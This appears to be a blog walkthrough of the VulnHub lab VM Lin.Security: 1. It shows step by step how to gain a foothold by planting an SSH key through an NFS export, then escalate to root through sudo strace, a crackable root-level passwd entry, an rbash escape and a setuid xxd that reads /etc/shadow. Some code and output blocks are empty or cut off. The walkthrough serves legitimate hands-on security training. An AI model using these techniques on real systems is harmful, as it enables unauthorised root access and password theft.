This post documents the complete walkthrough of Lin.Security: 1, a boot2root VM created by, and hosted at VulnHub. If you are uncomfortable with spoilers, please stop reading now.

On this post


Here at we wanted to develop a Linux virtual machine that is based, at the time of writing, on an up-to-date Ubuntu distro (18.04 LTS), but suffers from a number of vulnerabilities that allow a user to escalate to root on the box. This has been designed to help understand how certain built-in applications and services if misconfigured, may be abused by an attacker.

We have configured the box to simulate real-world vulnerabilities (albeit on a single host) which will help you to perfect your local privilege escalation skills, techniques and toolsets. There are a number of challenges which range from fairly easy to intermediate level, and we’re excited to see the methods you used to solve them!

Information Gathering

Let’s start with a nmap scan to establish the available services in the host.

# nmap -n -v -Pn -p- -A --reason -oN nmap.txt
22/tcp    open  ssh      syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 7a:9b:b9:32:6f:95:77:10:c0:a0:80:35:34:b1:c0:00 (RSA)
|   256 24:0c:7a:82:78:18:2d:66:46:3b:1a:36:22:06:e1:a1 (ECDSA)
|_  256 b9:15:59:78:85:78:9e:a5:e6:16:f6:cf:96:2d:1d:36 (ED25519)
111/tcp   open  rpcbind  syn-ack ttl 64 2-4 (RPC #100000)
| rpcinfo:
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  3           2049/udp  nfs
|   100003  3,4         2049/tcp  nfs
|   100005  1,2,3      41225/tcp  mountd
|   100005  1,2,3      44576/udp  mountd
|   100021  1,3,4      38947/tcp  nlockmgr
|   100021  1,3,4      59622/udp  nlockmgr
|   100227  3           2049/tcp  nfs_acl
|_  100227  3           2049/udp  nfs_acl
2049/tcp  open  nfs_acl  syn-ack ttl 64 3 (RPC #100227)
38947/tcp open  nlockmgr syn-ack ttl 64 1-4 (RPC #100021)
41225/tcp open  mountd   syn-ack ttl 64 1-3 (RPC #100005)
41683/tcp open  mountd   syn-ack ttl 64 1-3 (RPC #100005)
51813/tcp open  mountd   syn-ack ttl 64 1-3 (RPC #100005)

nmap finds 22/tcp and 111/tcp open. I don’t see the usual 80/tcp, which is unfortunate. We have to rely on other means to gain a foothold into the VM.

Network File System

Good thing for us, NFS is available. Using showmount, we can display the exports on the VM.

# showmount -e
Export list for
/home/peter *

Let’s mount the remote directory.

# mkdir -p /mnt/peter
# mount -t nfs /mnt/peter
# ls -la /mnt/peter
total 32
drwxr-xr-x 5 1001 1005 4096 Jul 10 19:49 .
drwxr-xr-x 4 root root 4096 Aug 18 11:11 ..
-rw-r--r-- 1 1001 1005  220 Jul  9 19:53 .bash_logout
-rw-r--r-- 1 1001 1005 3771 Jul  9 19:53 .bashrc
drwx------ 2 1001 1005 4096 Jul 10 10:04 .cache
-rw-rw-r-- 1 1001 1005    0 Jul 10 10:04 .cloud-locale-test.skip
drwx------ 3 1001 1005 4096 Jul 10 10:04 .gnupg
drwxrwxr-x 3 1001 1005 4096 Jul 10 08:03 .local
-rw-r--r-- 1 1001 1005  807 Jul  9 19:53 .profile

Now that I’ve mapped /home/peter to /mnt/peter, let’s see if I create .ssh directory in /home/peter.

# mkdir -p /mnt/peter/.ssh
mkdir: cannot create directory ‘/mnt/peter/.ssh’: Permission denied

Hmm. Not even when I’m root? Let’s create a fake peter account with an UID of 1001 on my machine.

# useradd -u 1001 peter
# su peter
$ cd /mnt/peter
$ mkdir .ssh

Awesome. Now, I can put the SSH public key I control into /home/peter/.ssh/authorized_keys.

First, we generate the SSH Key pair on my machine.

# ssh-keygen -t rsa -b 2048
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): peter
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in peter.
Your public key has been saved in
The key fingerprint is:
SHA256:TuGkIRfE6ODlItT4jp9ILW/8oGRTEa7JLCDI5dgKnMs [email protected]
The key's randomart image is:
+---[RSA 2048]----+
|  oo +o          |
|+oO.+ ..         |
|**.X. o o        |
|O B.+o = .       |
|.E+o  . S        |
|.+.o   o         |
|.+*..   .        |
|o.o*.            |
| .. ..           |

Next, we copy and paste the contents of to /mnt/peter/.ssh/authorized_keys.

$ echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1rYFvo6Wh4j44p4s6WfDYb637m62zA0CwE5t9K6iKbosZMpeDBGP2q8C2O3yw2P9Dhv3jRPCutf1ruadaMxxiOY8Ook/3fwMcaueCAs0ThKCMRlnf0yzUnEHH7t82MrEghMnL4GfUcYlxIwo8d5jQe7umuJneYK786iDNEPaEajC45GQlrZWCzIWqs3B3vJBQ4FR766EHsmiKVWvQ35uR69/O39IePJQ8oSTF+PK0RoCtvmYt44jeqUO0NfYGeCGwqtYW/i+ILTOkW45bYRVjhmrJ2C+yjtK3bsmDiq28IT9STCFlkI7OqEfJkeYqBSJVqVqOkFFvx4+7fyTpchT/ > /mnt/peter/.ssh/authorized_keys

Open another terminal and log in to peter’s account with the SSH private key.


Privilege Escalation

During enumeration of peter’s account, I found something interesting.


peter is able to sudo as root for /usr/bin/strace, used for tracing system calls and signals.

Holy cow. This means that I can do something like this—write a privilege escalation program and run it through strace with the blessing of sudo—all without password.

#include <stdlib.h>
#include <unistd.h>

int main() {

Let’s give it a shot.




There’s more than one way of becoming root. The most obvious way is to log in with bob:secret as suggested in the VM’s description.


Display /etc/passwd. Observe insecurity has its password hash in it and has root privileges


We can copy that line and send it to John the Ripper for offline cracking like this.

# john --format=crypt --show hash.txt
insecurity:[email protected]:0:0::/:/bin/sh

1 password hash cracked, 0 left

Another way is to discover susan’s password in her home directory either through bob’s account or peter’s account described above.


You’ll soon notice that susan is using rbash or restricted bash. It’s almost trivial to escape from rbash—execute bash -i.

Now that we have escaped the restricted shell, something caught my eye while I was performing enumeration on susan’s account.


xxd can display the hexdump or convert to hexadecimal representation (through -p) of any file it has read permissions. Since xxd is setuid to root, we can use it to read /etc/shadow like so.


We can copy both /etc/passwd and /etc/shadow to our attacking machine for offline cracking with John the Ripper, in which case the root password is secret123.

# john --format=crypt --show hashes.txt
insecurity:[email protected]:0:0::/:/bin/sh

3 password hashes cracked, 2 left

I’m sure this is not exhaustive. Kudos to for creating this VM. No better way to learn than hands-on practice.